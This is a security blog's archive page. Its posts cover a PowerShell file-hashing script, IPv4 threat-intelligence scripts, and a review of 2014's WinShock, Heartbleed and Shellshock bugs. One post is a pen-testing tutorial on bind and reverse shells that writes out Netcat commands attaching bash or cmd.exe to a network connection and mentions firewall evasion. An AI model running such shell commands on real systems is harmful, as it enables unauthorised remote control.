Tag Archives: windows

Get MD5 and SHA1 digests in Windows 7

Hi my name is Thomas and I am a Linux user. But I am not a fanboy! Hard to believe I know, but to me an OS is just a big tool that allows me to use other tools, so if it is Linux, Windows or Macs I really don’t mind as long as it is up to the job I want it for.

I recently had to use a Windows 7 machine, so as usual I started by prepping it for what I wanted to use it for, one of my first tasks was installing a hypervisor so I could spin up some VM’s, Linux VM’s cause how am I expected to get anything done on Windows 7!!!1!??

Anyway as part of this download/install ritual, being a good security analyst I wanted to verify the integrity of what I was downloading by checking the hash digests. Upon investigation I realised that Windows 7 is not fit for purpose does not support this natively.

Looking into this further I found this blog post about the Get_FileHash CmdLet in Powershell, excellent I thought, this is just what I need.

Except…it wouldn’t work, I’m not sure why, I’m guessing it was only included in newer versions of PowerShell than the one I was using…all I know is that it would not work.

So off to PowerShell hacking and bodging I went! What I came up with was this ugly and in need of improvement but ultimately up to the job, script. (I just hope not clearing those variables during an running instance does not come back to haunt me!)

###############
# nettx.co.uk #
###############

#TODO: handel Errors
#TODO: Clear $vars after run


function Show-Menu
{
     
     param (
           [string]$Title = '
 _______          __ ___________       
 \      \   _____/  |\__    ___/__  ___
 /   |   \_/ __ \   __\|    |  \  \/  /
/    |    \  ___/|  |  |    |   >    < \____|__ /\___ >__|  |____|  /__/\_ \
        \/     \/                    \/ 
       Get hash digest tool
             thomas
                    '
     )
     
     cls
     Write-Host "$Title"
     Write-Host "Press '1' to get md5"
     Write-Host "Press '2' to get SHA1"
     Write-Host "press '3' to get both"
     Write-Host "Or double tap ENTER to exit..."
}
do
{
     Show-Menu
     $input = Read-Host "Please make a selection"
     switch ($input)
     {
           '1' {

$File = Read-Host "Enter the full path of the file to be hashed" 
$md5 = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider
$hash_md5 = [System.BitConverter]::ToString($md5.ComputeHash([System.IO.File]::ReadAllBytes($File)))
$hash1_md5 = $hash_md5 -replace ‘[-]’,''
write-Host 
""
$hash1_md5
""
#$hash1_md5 = "TWAT"

Read-host "press any key to contine..."

                }'2'{
$hash1_sha1 = ""               
$File = Read-Host "Enter the full path of the file to be hashed" 
$sha1 = New-Object -TypeName System.Security.Cryptography.SHA1CryptoServiceProvider
$hash_sha1 = [System.BitConverter]::ToString($sha1.ComputeHash([System.IO.File]::ReadAllBytes($File)))
$hash1_sha1 = $hash_sha1 -replace ‘[-]’,''
write-Host
""
$hash1_sha1
""
Read-host "press any key to contine..."
                               
                }'3'{
                
$File = Read-Host "Enter the full path of the file to be hashed"               
$md5 = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider
$hash_md5 = [System.BitConverter]::ToString($md5.ComputeHash([System.IO.File]::ReadAllBytes($File)))
$hash1_md5 = $hash_md5 -replace ‘[-]’,''


$sha1 = New-Object -TypeName System.Security.Cryptography.SHA1CryptoServiceProvider
$hash_sha1 = [System.BitConverter]::ToString($sha1.ComputeHash([System.IO.File]::ReadAllBytes($File)))
$hash1_sha1 = $hash_sha1 -replace ‘[-]’,''

Write-Host "
MD5:" $hash1_md5
Write-Host "
SHA1:" $hash1_sha1


Read-host "press any key to contine..."
               
                }'q'{
                return
                }
          }
}
until($input -eq '')

What are Bind and Reverse Shells?

I wanted to make a very short and simple post about shells…when starting out in pen testing you will hear a lot of chatter about shells, so this post hopes to clear up some of the terminology involved.

Now I guess that since you are reading this you’re already familiar with what a shell is. *If not have a look here* What I wanted to cover was bind shells and reverse shells…and what exactly the differences are. To do this we are going to run through a short exercise using the classic Netcat.

What you will need for this exercise are two machines on the same network segment, both with a copy of Netcat on them. They can be any combination of Linux or Windows (or something more exotic and/or $expensive = Macs).

For this exercise I spun up a couple of VMs, one Kali Linux box and one Windows Server 2012 box.

Netcat is included on Linux distros that come with Nmap as standard or can be downloaded from most standard Linux repos, for Windows you can pull the nc.exe from the web

Netcat is a simple (but powerful) command line tool that has become something of legend in the networking and security worlds, put simply Netcat can throw up listening TCP and UDP ports very quickly, it can unsurprisingly enough also connect to TCP and UDP ports just as easily.

Netcat comes into its own however with its power to read and write bits to and from these connections, this allows Netcat to perform a vast array of functions. For more have a look at the Netcat main page.

It is Netcat’s ability to read and write to layer 4 connections and streams that allows us to create the shells. This is done by redirecting the 3 shell I/O streams, stdin, stdout and stderr over the layer 4 connections.

The nuances of what is a bind shell and what is a reverse shell are dictated by the client server paradigm.

Okay, demo time, so either play along at home or just put your feet up and watch. *Read*

Our two boxes are Wendy the Windows box (192.168.1.80) and Lynn the Linux box (192.168.1.78).

So we will start with a bind shell, this is really quite simple, a bind shell is called a bind shell because it binds a shell to a listening TCP port. For example;

Lynn the Linux box wants to bind its bash shall to a listening port, the following command can be used to do this;

Lynn nc -nlvp nc 9874 -e /bin/bash

Let’s break that command down, nc is the Netcat binary, -nlvp: numeric (no dns names), listening, verbose and port, with 9874 as the option, this being the port that will be set to listen. The -e points to a file to be executed after the connection is established, in this instance that file is /bin/bash, our shell.

Now when a connection is established on Lynn (192.168.1.78:9874), the bash shell will fire up and proceed to redirect it’s I/O streams across the connection. So if we connect to it from another box we can access Lynn’s shell, lets do this from Wendy;

Wendy nc -nv 192.168.1.78 9874

And that’s it…it’s that simple, we now have control over an instance of bash running on Lynn from Wendy. From Wendy we can issue commands and see the output of them.

bind_shell

The reason this is known as a bind shell is because the shell is bound to the listening port, but what if we want to access Wendy’s Shell from Lynn while still maintaining the same Client/Server paradigm?

Well thankfully this is just as easy, what we are about to do is known as a reverse shell. First, as before we will set up a listening TCP port on Lynn, this time however we are not going to bind a shell to the listening port.

Lynn nc -nlvp nc 9874

Now on Wendy we are going to connect to Lynn’s listening port of 9874, this time however we are going to attach the Wendy’s cmd.exe shell to the client end of the conversation.

Wendy nc -nv 192.168.1.78 9874 -e cmd.exe

We now have access to Wendy’s shell on Lynn. There are a number of different reasons why we might choose between bind and reverse shells, the main one as far as pen testing goes is basic evasion, connections could be allowed in one direction but denied in the other, if Wendy and Lynn were on two separate network segments with a firewall in the middle for example, the firewall may allow outbound connections, but deny inbound connections.

In the example above Lynn acted as the server and Wendy as the client, but this paradigm can be reversed with the exact same results for both bind and reverse shells, simply setting Wendy to listen instead of Lynn

Answering the question, no one asked…

I have to be honest I do love myself a pocket reference guide. Even with the internet’s vast resources there is something about holding an old school, analogue, physical copy of a book that is pleasing in a way that searching the internet just isn’t.

The strange thing is that despite their name, I’ve never actually carried one of these books around in my pocket, this lead me to assume that they didn’t fit in real pockets….

Well as it turns out, predictably and obviously I was wrong….

Also…

IPv4 Threat Intelligence – PowerShell Script

Following on from by previous post about gathering IPv4 threat intelligence automatically with Python scripts I thought I would follow it up with a PowerShell script I wrote that does something similar.

This script will work on Windows without the need for any extra installs, so it is perfect for users that only have access to Windows in the workplace.

It is often the case that security analysts and sys-admins need to grab bulk lists of IPv4 addresses from a data source, this data source can be logs, websites and intelligence feeds. Data sources such as these can contain lots of redundant data, such as domain names, time stamps etc. etc. In general removing this data can be done simply with a script and this is exactly what that script does.

I have seen a few scripts kicking about that do something similar to this, but they generally contain way more lines of code than is needed (although this does have some ASCII art of cats and dogs that really doesn’t need to be there) as well as requiring some kind of user input. This script is very tight with the code and the only user input required is dragging the input file over to the scripts directory.

This script allows you to take the data source in the form of a file and automatically convert it to a .csv of IPv4 addresses, fully de-deduped and with all redundant removed, ready to be used for whatever purpose you have in mind for it.

The Script is quite raw at the moment, so you will need to make a couple of edits to tailor it to your environment. See below for the bits that you may wish to edit:

  • Put the script in you documents folder as such $home\Documents\ipv4\
  • The file you want to run the script on will need to be dumped in the same folder
  • The ipv4_* wildcard is used to detect the input file
  • Follow this guide if you want to run the PowerShell script with a simple double click of a batch script

I have a script very similar to this that does the same thing, but grabs the input data from the web (similar to the python scripts, but in PowerShell), I will post this in the next few days.

Find the script here on GitHub

Automatically gather IPv4 Threat Intelligence

To paraphrase Sun Tzu “Know your enemy as you know yourself”. Yes I know this is used in security ad nauseam and I profusely apologise for rolling out this tired old cliché, but as is often true, within the cliché lies the truth, and Sun Tzus famous quote is no different.

Collecting threat intelligence on the enemy (or possible enemy) and feeding it into your tool set can help you watch and protect against interactions with online addresses that could pose a threat to your environment.

There are a number of online resources that provide this intelligence for free, but collecting it and formatting it into a .CSV file ready for direct import into your tools file can be cumbersome if it is not automated.

Tools such as SIEM’s can take lists of IPv4 addresses directly from a .CSV file and use them to test rules against or build reports on.

Example use cases are amongst others; IP reputation lists to flag up whenever your environment attempts to interact with IP’s with a poor reputation, IP’s known to host Malware, known c2 servers or any interaction with a TOR exit node.

To this end I have written a Python script, that will automatically grab the latest threat intel from a few sites. The script is pretty straight forward and can be easily edited to grab lists of IPv4 addresses from whatever site you want.

The tor exit node list updates quite often, it is probably better to schedule a cron job to automatically update that list, I will post a dedicated script for this and any other use cases that spring to mind in the future, as well as PowerShell scripts for Windows users that do not want to install Python.

Couple of notes on these scripts:

  • The Linux script runs on Python 2.7 as this is the version most commonly pre-installed on Linux distros.
  • The linux script uses raw_input instead of input as input contains an eval function hiding behind it which may lead to a possible code injection vulnerabilities when used in python 2.7.
  • The Windows script uses Python 3 as most windows users will need to manually install Python and it makes sense for them to use the most recent version.
  • The Windows script uses input as Python 3 does not have the same code injection vulnerability risk

Linux, Python 2.7 script. GitHub.

Windows, Python 3 script. GitHub

Shellshocked: 2014 The Year of the Superbugs

Broken Windows

It was announced this week that a 19 year old bug has been present in most of Microsoft’s Operating Systems (OS) dating back to Windows 95. The bug (in fact it appears to be a series of connected bugs) was present in server and clients OS’s and was still present in Microsoft’s most recent efforts Windows Server 2012 R2 and Windows 8.1. Not even the minimal, naturally hardened Server Core escaped its potentially fatal grasp. The flaw was in Microsoft implementation of Secure Sockets Layer (SSL) and Transport Layer Security (TLS), Schannel. It was uncovered by a team of IBM researchers, known by the excellent superhero esque handle of X-Force. X-Force’s Robert Freeman described what they had uncovered in a blog post on IBM’s Security Intelligence website.

In the post he highlights some of the take home points of this threat: It has been around since Internet Explorer (IE) 3, it allowed reliable execution of arbitrary code from a remote location, It sidestepped IE’s Enhanced Protected Mode, and even secure protocols such as HTTPS can be easily exploited with the proper knowhow. When you step back and look at some of these points the severity of the flaw is plain to see and explains why the bug, now being dubbed by some as WinShock has been given the maximum CVE severity rating of 10. CVE-2014-6321 states that WinShock has a low level of complexity to exploit the bug and that a massive amount of damage that can be done with it. Being able to execute arbitrary code without authentication and often with elevated privileges is a massive problem, it effectively compromises every part of an affected system, the effects of this bug could have been devastating, if an unprotected system is exploited by the wrong person (or organisation) then it is effectively game over, data is compromised, systems are hijacked nothing is safe. To Microsoft’s credit they had released a fix to the issue in this weeks patch Tuesday update, the same day that the vulnerability was made known to the public.

Heart Breaking

Amazingly WinShock isn’t the first major security flaw discovered in protocols designed to securely transport data across the network in 2014. In April, SSL and TLS were at fault again (its not clear if the WinShock bug is related) when the Heartbleed vulnerability was made public. Heartbleed compromised some of the most widely used security transport protocols in the world including OpenSSL, GnuTLS, and Apples Secure Transport. Untold numbers of systems were left wide open by WinShock and Heartbleed, if you have used a computer in the last few years you were almost certainly exposed to the undetected hidden threat posed by these security flaws. All of this goes to not only undermine the integrity of our data, but the integrity of our privacy, safety and trust in the systems designed to keep us safe.

Bashful

The computing industries annus horribilis doesn’t stop with WinShock and Heartbleed. In September yet another vulnerability with a CVE severity rating of 10, effecting millions of computers, and allowing for arbitrary code to be run from remote locations, was made public. This time it was a 25 year old vulnerability in the BASH shell (and its derivatives) that had a gaping hole in its security. In fact it wasn’t just one flaw, by the end there were six published vulnerabilities relating to BASH.

Dubbed Shellshock it exploited a feature that allowed unauthenticated environment variables to be exported to function definitions, trailing variables could have arbitrary code placed inside them, when BASH forks, the environment variables were written into memory and the code from the trailing variable executed. Shellshock was startling for a number of reasons, not only did it undermine the perceived security benefits of Linux systems, it was also very easy to exploit. The amount of devices left vulnerable was staggering, from servers, to clients, to phones and even smart washing machine, fridges, TVs and other smart devices. Shellshock had the potential to cause massive amounts of catastrophic damage to an incredibly diverse and large array of systems.

Within hours of Shellshock being publicly released there were detailed tutorials online on how to exploit the vulnerability, it wasn’t long until reports on how the bug had been exploited began to appear in the media. There were tales of Romanian Gangs and massive Botnets running riot all over the the internet. By late September security researchers at Incapsula reported that it had seen a rate of 725 attacks per hour relating directly to Shellshock.

What 2014 has taught us is that major security vulnerabilities have existed undetected for years, these vulnerabilities have affected the entire gamut of computing. The free software community, the open source software community and proprietary software vendors have all seen major flaws in their software exposed. It begs a few questions; what else is out there that we don’t know about? What other bugs are lurking deep in the code of the software that is present on our computers, our internet, our corporate infrastructures, our national infrastructures and just about every connected device we have come to take for granted? What dangers are lurking just around the corner? With Heartbleed, WinShock and Shellshock we may have gotten off lightly, each of these flaws were recognised and fixed in an extremely timely manner, the consequences could have been far worse if they had gotten into the wild before the good guys discovered them. That’s not to say that the consequences still may not be felt, they could just be in hibernation, backdoors waiting to be opened, time bombs ready to explode, and stolen or compromised data waiting to be exploited. Of course the doomsday scenario is an extreme one, but one that cannot be ignored.

Richard Stallman describes Shellshock as just a “blip”, hopefully he is right, hopefully all these bugs and others like them are just a series blips, the inevitable consequence of the growing pains associated with the incredible pace of technological advancement and the complacency of not checking old code thoroughly when implementing it in new systems. We can only hope that these “blips” do not turn into a constant tone, a tone that could signify the flat lining of people’s trust in modern computer networks.